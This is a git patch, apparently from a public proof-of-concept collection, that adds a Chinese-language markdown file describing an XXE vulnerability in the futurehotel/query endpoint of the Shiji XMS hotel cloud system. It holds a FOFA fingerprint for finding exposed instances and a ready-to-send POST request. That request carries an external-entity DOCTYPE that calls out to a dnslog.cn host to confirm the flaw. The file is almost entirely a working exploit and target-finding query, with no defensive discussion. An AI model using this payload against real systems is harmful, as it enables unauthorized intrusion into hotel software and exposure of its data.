From ea24b4dc164132052d26a210c36eeb674d986007 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Fri, 1 Mar 2024 15:13:38 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E8=A5=BF=E8=BD=AF=E4=BA=91XMS-futureh?=
 =?UTF-8?q?otel-query=E6=8E=A5=E5=8F=A3=E5=AD=98=E5=9C=A8XXE=E6=BC=8F?=
 =?UTF-8?q?=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 西软云XMS-futurehotel-query接口存在XXE漏洞.md | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)
 create mode 100644 西软云XMS-futurehotel-query接口存在XXE漏洞.md

diff --git a/西软云XMS-futurehotel-query接口存在XXE漏洞.md b/西软云XMS-futurehotel-query接口存在XXE漏洞.md
new file mode 100644
index 0000000..94a86fd
--- /dev/null
+++ b/西软云XMS-futurehotel-query接口存在XXE漏洞.md
@@ -0,0 +1,18 @@
+## 西软云XMS-futurehotel-query接口存在XXE漏洞
+
+## fofa
+```
+app="shiji-西软云XMS"
+```
+
+## poc
+```
+POST /XopServerRS/rest/futurehotel/query HTTP/1.1
+Host: your-ip
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.3157.54 Safari/537.36
+Connection: close
+Content-Type: text/xml
+Accept-Encoding: gzip
+ 
+<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://xxx.dnslog.cn"> %remote;]>
+```